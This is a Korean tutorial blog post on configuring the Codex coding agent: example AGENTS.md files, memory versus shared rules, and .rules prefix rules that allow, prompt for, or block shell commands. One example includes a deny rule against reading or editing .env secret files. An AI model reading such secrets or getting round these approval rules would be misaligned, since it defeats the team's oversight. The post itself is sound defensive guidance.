&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 style=&quot;font-size: 18px; color: #1a3a52; margin: 25px 0 12px; font-weight: bold;&quot; data-ke-size=&quot;size20&quot;&gt;예시 C &amp;mdash; 모노레포: 루트 공통 + 모듈별 분리&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background: #fff3cd; padding: 2px 6px; border-radius: 4px; font-size: 0.9em;&quot;&gt;팀 규모가 커진 다음에 보면 된다 &amp;mdash; 처음 도입이라면 예시 A나 D부터 시작하자.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;팀이 커지면 루트 하나에 모든 규칙을 다 넣으면 금방 커진다. &quot;이 규칙이 저장소 전체에 적용되는가, 아니면 특정 앱에만 적용되는가&quot;를 기준으로 나눠서 둔다.&lt;/p&gt;
&lt;pre class=&quot;routeros&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; padding: 18px 20px; border-radius: 8px; font-size: 14px; line-height: 1.6; overflow-x: auto; margin: 15px 0;&quot; data-ke-language=&quot;markdown&quot;&gt;&lt;code&gt;# AGENTS.md  &amp;larr; 저장소 루트 (어디서 작업하든 적용)

## 공통 규칙
- 작업을 완료했다고 말하기 전에 `pnpm -r lint`를 실행한다.
- 패키지 버전은 직접 올리지 않는다. 버전 변경이 필요하면 `pnpm changeset`을 사용한다.
- `packages/ui/` 또는 `packages/types/`를 변경했다면, 변경 후 모든 `apps/` 소비자에서
  타입 오류가 없는지 확인한다.

## 모노레포 구조
- apps/web: Next.js 앱 (`pnpm test`, `pnpm lint`)
- apps/api: Node.js Express API (`npm test`)
- packages/ui: 디자인 시스템. UI 컴포넌트의 원본이다.
- packages/types: 공유 TypeScript 타입. 모든 앱에 영향을 줄 수 있다.&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;routeros&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; padding: 18px 20px; border-radius: 8px; font-size: 14px; line-height: 1.6; overflow-x: auto; margin: 15px 0;&quot; data-ke-language=&quot;markdown&quot;&gt;&lt;code&gt;# apps/web/AGENTS.md  &amp;larr; 프론트엔드 전용 (이 폴더 안 작업에만 적용)

## 테스트 명령
- 단위 테스트: `pnpm test`
- E2E 테스트: 인증 흐름이나 라우팅이 바뀐 경우에만 `pnpm test:e2e`를 실행한다.

## 수정 금지
- `src/components/ui/`는 `packages/ui`에서 동기화되는 폴더다. 원본 패키지를 수정한다.
- `public/assets/`의 정적 파일은 디자인팀 확인 없이 바꾸지 않는다.&lt;/code&gt;&lt;/pre&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 16px 18px; border-radius: 10px; border-left: 5px solid #0066cc; margin: 18px 0;&quot;&gt;&lt;b&gt;줄별 해설&lt;/b&gt;
&lt;ul style=&quot;margin: 10px 0 0; padding-left: 20px;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;루트에는 공통 규칙만&lt;/b&gt;: &quot;어디서 작업하든 적용되는 것&quot;만 루트에 둔다. 특정 앱 규칙은 해당 폴더 AGENTS.md로 내린다. 루트가 길어지면 정작 중요한 규칙이 묻힌다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;pnpm changeset 명시&lt;/b&gt;: 버전 관리 도구를 적지 않으면 Codex가 package.json을 직접 수정한다. 도구 이름과 이유를 함께 적어야 한다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;apps/web E2E 조건&lt;/b&gt;: &quot;항상 돌려라&quot;보다 &quot;언제 돌려라&quot;가 더 실용적이다. 조건 없이 쓰면 매 변경마다 E2E가 돌 수 있다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;src/components/ui/ 수정 금지 이유&lt;/b&gt;: 소스 패키지가 따로 있는데 여기를 직접 고치면 다음 동기화에서 덮어씌워진다. 이유를 적어야 Codex가 왜 금지인지 이해한다.&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #f0fff4; padding: 16px 18px; border-radius: 10px; border-left: 5px solid #27ae60; margin: 18px 0;&quot;&gt;&lt;b&gt;예시 A~C에서 반복된 패턴&lt;/b&gt;
&lt;ul style=&quot;margin: 10px 0 0; padding-left: 20px;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot; data-ke-size=&quot;size16&quot;&gt;빌드와 테스트에 완료 조건을 명시했다 &amp;mdash; &quot;돌려라&quot;보다 &quot;완료라고 말하기 전에 돌려라&quot;가 낫다&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot; data-ke-size=&quot;size16&quot;&gt;금지 규칙에 이유를 같이 적었다 &amp;mdash; 이유 없는 금지는 다음 세션에서 무시될 수 있다&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot; data-ke-size=&quot;size16&quot;&gt;조건부 규칙을 명시했다 &amp;mdash; &quot;항상&quot;보다 &quot;언제&quot;가 더 실용적이다&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 0;&quot; data-ke-size=&quot;size16&quot;&gt;처음엔 짧게 시작했다 &amp;mdash; 리뷰에서 반복된 것만 추가하면 문서가 자연스럽게 성숙한다&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 style=&quot;font-size: 18px; color: #1a3a52; margin: 25px 0 12px; font-weight: bold;&quot; data-ke-size=&quot;size20&quot;&gt;예시 D &amp;mdash; Next.js App Router 팀 프로젝트: 컴포넌트&amp;middot;API&amp;middot;DB 규칙 한 파일에&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background: #e8f4f8; padding: 2px 6px; border-radius: 4px; font-size: 0.9em;&quot;&gt;&lt;b&gt;Node.js / React 단일 스택을 쓴다면 예시 D가 가장 실전적이다.&lt;/b&gt; 예시 A 다음에 바로 읽어도 좋다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;A&amp;middot;B&amp;middot;C가 언어나 저장소 구조 중심이었다면, 예시 D는 프레임워크 특화 규칙이 필요한 상황이다. Next.js App Router 프로젝트에서 Codex가 새 파일을 만들 때 가장 자주 발생하는 실수는 세 가지다. Server Component와 Client Component를 구분 없이 쓰는 것, API 경로 밖에서 DB를 직접 호출하는 것, Tailwind 대신 인라인 스타일을 섞는 것. 이 규칙들을 AGENTS.md에 못 박으면 다음 세션에서 같은 실수를 반복하지 않는다.&lt;/p&gt;
&lt;pre class=&quot;markdown&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; padding: 16px 20px; border-radius: 8px; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; line-height: 1.6; overflow-x: auto; margin: 16px 0;&quot; data-ke-language=&quot;markdown&quot;&gt;&lt;code&gt;# 프로젝트
Next.js 14 App Router (TypeScript). 주요 스택: React, Tailwind CSS, Prisma, PostgreSQL.

# 구조
- app/: 페이지와 레이아웃을 둔다. App Router 기준 폴더다.
- app/api/: API Route Handler를 둔다. 서버 API는 이 폴더 안에서 만든다.
- components/: 공유 UI 컴포넌트를 둔다.
- lib/: 유틸리티, Prisma client, 서버 전용 함수를 둔다.
- prisma/: 스키마와 마이그레이션을 둔다.

# 규칙
- &quot;use client&quot;는 필요한 컴포넌트에만 붙인다. 기본은 Server Component다.
- app/api/ 이외에서 DB를 직접 호출하지 않는다. DB 접근은 lib/db.ts를 통해서만 한다.
- Tailwind 클래스는 className에만 쓴다. style 속성으로 인라인 스타일을 넣지 않는다.
- .env, .env.local 파일을 읽거나 수정하지 않는다.
- prisma/migrations/ 아래 파일을 직접 수정하지 않는다.

# 빌드와 테스트 (완료 기준)
코드 수정 후 완료라고 말하기 전에 아래를 순서대로 실행한다:
1. npx tsc --noEmit     # TypeScript 타입 에러 확인
2. npm run lint          # ESLint 경고 확인
3. npm run build         # 프로덕션 빌드 성공 여부 확인&lt;/code&gt;&lt;/pre&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 16px 18px; border-radius: 10px; border-left: 5px solid #0066cc; margin: 18px 0;&quot;&gt;&lt;b&gt;줄별 해설&lt;/b&gt;
&lt;ul style=&quot;margin: 10px 0 0; padding-left: 20px;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&quot;use client&quot;는 필요한 컴포넌트에만&lt;/b&gt;: App Router에서 Server Component가 기본이다. &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;&quot;use client&quot;&lt;/code&gt;를 남발하면 서버 사이드 렌더링 이점이 사라진다. 이 한 줄이 Codex가 새 파일을 만들 때 기본값을 잡아준다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;lib/db.ts를 통해서만&lt;/b&gt;: DB 접근 경로를 단일화하면 컴포넌트 안에서 Prisma를 직접 import하는 실수를 막는다. &quot;하지 마라&quot;보다 &quot;어디서 해라&quot;가 더 잘 지켜진다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;prisma/migrations/ 직접 수정 금지&lt;/b&gt;: 마이그레이션 파일은 자동 생성 파일이다. Codex가 선의로 고치면 DB 스키마가 코드와 어긋난다. 이 줄이 없으면 Codex가 임의로 수정할 수 있다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;빌드와 테스트에 순서 명시&lt;/b&gt;: 타입 에러 &amp;rarr; 린트 &amp;rarr; 빌드 순으로 가장 빨리 발견할 수 있는 문제부터 확인하게 한다. &quot;빌드를 돌려라&quot; 한 줄보다 세 단계를 순서대로 적는 편이 놓치는 오류가 적다.&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 id=&quot;section3&quot; style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;3. AGENTS.md와 로컬 메모리의 차이&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin: 8px 0 16px; color: #444;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;핵심:&lt;/b&gt; AGENTS.md는 팀 전체가 공유하는 규칙, 로컬 메모리는 나만 쓰는 개인 맥락이다. 팀 기준은 반드시 AGENTS.md에 넣는다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2080&quot; data-origin-height=&quot;1138&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dHvuSv/dJMcagyGeZK/Mu6EZBSfRs6sT68JVVfIaK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dHvuSv/dJMcagyGeZK/Mu6EZBSfRs6sT68JVVfIaK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dHvuSv/dJMcagyGeZK/Mu6EZBSfRs6sT68JVVfIaK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdHvuSv%2FdJMcagyGeZK%2FMu6EZBSfRs6sT68JVVfIaK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2080&quot; height=&quot;1138&quot; data-origin-width=&quot;2080&quot; data-origin-height=&quot;1138&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;Codex에는 로컬 메모리 기능도 있다. 이름만 보면 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;AGENTS.md&lt;/code&gt;와 비슷해 보이지만, 이번 편의 핵심은 &quot;팀 공유 규칙&quot;이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://developers.openai.com/codex/memories&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Memories 공식 문서&lt;/a&gt;는 필수 팀 지침을 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;AGENTS.md&lt;/code&gt;나 저장소에 포함된 문서에 보관하고, 메모리는 항상 적용되어야 하는 규칙의 유일한 출처로 보지 말라고 안내한다.&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;구분&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;AGENTS.md&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;로컬 메모리&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px; vertical-align: top;&quot;&gt;목적&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px; vertical-align: top;&quot;&gt;팀과 프로젝트 규칙을 Codex에 전달&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px; vertical-align: top;&quot;&gt;이전 작업 맥락과 개인 선호를 이어받음&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px; vertical-align: top;&quot;&gt;공유 방식&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px; vertical-align: top;&quot;&gt;Git에 포함해 팀에 공유 가능&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px; vertical-align: top;&quot;&gt;기본적으로 개인 Codex 홈 아래에 저장&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px; vertical-align: top;&quot;&gt;적합한 내용&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px; vertical-align: top;&quot;&gt;테스트 명령, 코드 규칙, 디렉토리별 주의사항&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px; vertical-align: top;&quot;&gt;자주 쓰는 워크플로, 개인 선호, 최근 작업 맥락&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px; vertical-align: top;&quot;&gt;위험&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px; vertical-align: top;&quot;&gt;너무 길면 읽기 비용 증가&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px; vertical-align: top;&quot;&gt;팀 규칙을 개인 메모리에만 두면 다른 사람에게 전파되지 않음&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;AGENTS.md&lt;/code&gt;는 팀 일관성을 위한 파일이고, 로컬 메모리는 개인 작업 연속성을 위한 보조층이다. &quot;이 규칙은 누구에게나 항상 적용되어야 한다&quot;면 메모리가 아니라 저장소 문서로 올려야 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 id=&quot;section4&quot; style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;4. Rules 파일로 명령어 제어하기&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin: 8px 0 16px; color: #444;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;핵심:&lt;/b&gt; .rules 파일로 위험한 명령은 막고, 안전한 명령은 자동 허용해 불필요한 승인 확인을 줄인다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2560&quot; data-origin-height=&quot;1440&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Kacpw/dJMcafGzWQI/NKrhmv6GWaqKiS6x27XgR0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Kacpw/dJMcafGzWQI/NKrhmv6GWaqKiS6x27XgR0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Kacpw/dJMcafGzWQI/NKrhmv6GWaqKiS6x27XgR0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FKacpw%2FdJMcafGzWQI%2FNKrhmv6GWaqKiS6x27XgR0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2560&quot; height=&quot;1440&quot; data-origin-width=&quot;2560&quot; data-origin-height=&quot;1440&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;4.1 Rules가 다루는 문제&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;AGENTS.md가 팀 위키의 &amp;ldquo;작업 방식&amp;rdquo; 페이지라면, Rules는 그 방식 중 셸 명령 부분을 실제로 강제하는 CI 게이트다. 위키에 &amp;ldquo;테스트 먼저 돌려라&amp;rdquo;고 적어 두어도 CI가 없으면 선언에 그친다. Rules는 Codex가 셸 명령을 실행할 때마다 &amp;ldquo;자동 통과 / 사람 확인 / 차단&amp;rdquo; 중 하나를 자동으로 결정해 그 선언을 집행한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;AGENTS.md&lt;/code&gt;가 &amp;ldquo;무엇을 해야 하는가&amp;rdquo;를 설명한다면 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;.rules&lt;/code&gt; 파일은 &amp;ldquo;샌드박스 밖으로 나가려는 명령을 허용할지, 물어볼지, 막을지&amp;rdquo;를 정한다. &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://developers.openai.com/codex/rules&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Rules 공식 문서&lt;/a&gt;는 Rules를 샌드박스 밖에서 Codex가 실행할 수 있는 명령을 제어하는 기능으로 설명하며, 2026년 5월 기준 실험적 기능이라고 안내한다. 즉 아직 바뀔 수 있는 기능이므로, 팀에 적용하기 전에 최신 문서를 반드시 한 번 더 확인한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 차이를 놓치면 Rules를 샌드박스 자체로 오해하기 쉽다. 샌드박스는 Codex가 기술적으로 어디까지 접근할 수 있는지 정하는 울타리이고, Rules는 그 울타리 밖 실행 요청에 붙는 승인/차단 정책이다. 둘은 서로 대체 관계가 아니라 함께 쓰는 안전장치다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;.rules&lt;/code&gt; 파일은 현재 설정이 놓인 위치 옆의 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;rules/&lt;/code&gt; 폴더 아래에 둔다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2140&quot; data-origin-height=&quot;1160&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/UZJzb/dJMcafT66CR/7ZAcL2cyMK5beIWKL7VB50/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/UZJzb/dJMcafT66CR/7ZAcL2cyMK5beIWKL7VB50/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/UZJzb/dJMcafT66CR/7ZAcL2cyMK5beIWKL7VB50/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FUZJzb%2FdJMcafT66CR%2F7ZAcL2cyMK5beIWKL7VB50%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2140&quot; height=&quot;1160&quot; data-origin-width=&quot;2140&quot; data-origin-height=&quot;1160&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;예를 들어 개인 설정에는 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;~/.codex/rules/default.rules&lt;/code&gt;를 둘 수 있고, 프로젝트별 규칙은 신뢰된 프로젝트 안의 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;.codex/rules/&lt;/code&gt; 폴더에서 읽힌다(&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://developers.openai.com/codex/rules&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Rules 문서&lt;/a&gt;).&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;규칙 파일을 새로 만들거나 바꾼 뒤에는 Codex를 재시작해야 시작 시점에 다시 스캔된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다음 절에서는 규칙 파일의 가장 단순한 형태인 두 필드짜리 규칙부터 시작한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;4.2 가장 단순한 prefix_rule 한 개&lt;/h3&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2116&quot; data-origin-height=&quot;1150&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/c3FEpl/dJMcaaFhN7p/3TtihcJMgyoYKZzDWi266K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/c3FEpl/dJMcaaFhN7p/3TtihcJMgyoYKZzDWi266K/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/c3FEpl/dJMcaaFhN7p/3TtihcJMgyoYKZzDWi266K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fc3FEpl%2FdJMcaaFhN7p%2F3TtihcJMgyoYKZzDWi266K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2116&quot; height=&quot;1150&quot; data-origin-width=&quot;2116&quot; data-origin-height=&quot;1150&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;prefix_rule&lt;/code&gt;은 &amp;ldquo;명령어의 앞부분(prefix)이 패턴과 일치하면, 그 명령을 허용할지&amp;middot;물어볼지&amp;middot;막을지 정한다&amp;rdquo;는 뜻이다. 이름만 보면 낯설지만, 동작 자체는 단순하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;가장 작은 형태부터 보자.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre class=&quot;nix&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; padding: 16px 20px; border-radius: 8px; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; line-height: 1.6; overflow-x: auto; margin: 16px 0;&quot; data-ke-language=&quot;python&quot;&gt;&lt;code&gt;# .codex/rules/team.rules
prefix_rule(
    pattern = [&quot;git&quot;, &quot;status&quot;],
    decision = &quot;allow&quot;,
)&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 규칙이 하는 일은 단순하다. &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;git status&lt;/code&gt;로 시작하는 명령은 자동 허용한다. &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;pattern&lt;/code&gt;은 명령의 앞부분, &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;decision&lt;/code&gt;은 결정값이다. 이 두 필드만 있어도 규칙은 동작한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;pattern&lt;/code&gt;이 배열인 이유는 명령어를 단어(토큰) 단위로 끊어서 비교하기 때문이다. &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;[&quot;git&quot;,
      &quot;status&quot;]&lt;/code&gt;는 &amp;ldquo;git&amp;rdquo;으로 시작하고 두 번째 토큰이 &amp;ldquo;status&amp;rdquo;인 명령을 잡는다. 뒤에 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;--short&lt;/code&gt; 같은 플래그가 붙어도 앞부분만 맞으면 이 규칙에 걸린다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;details style=&quot;margin: 12px 0; background: #f8f9fa; border: 1px solid #dee2e6; border-radius: 8px; padding: 12px 16px;&quot;&gt;
&lt;summary style=&quot;cursor: pointer; font-weight: bold; color: #495057;&quot;&gt;더 알아보기 &amp;mdash; Starlark란? (초보자는 건너뛰어도 됩니다)&lt;/summary&gt;
&lt;p style=&quot;margin: 10px 0 0;&quot; data-ke-size=&quot;size16&quot;&gt;Rules 파일은 Starlark(스타라크)라는 언어로 작성한다. Python과 생김새가 거의 같지만 파일시스템 접근이나 네트워크 호출 같은 부작용이 없다. 쉽게 말해 &quot;읽기 전용 Python&quot;이라고 보면 된다. 규칙 파일 안에서 실행 코드를 넣는 방식이 아니라 명령 패턴과 결정을 선언하는 방식이라고 이해하면 된다.&lt;/p&gt;
&lt;/details&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;4.3 결정값(decision) 3가지와 우선순위&lt;/h3&gt;
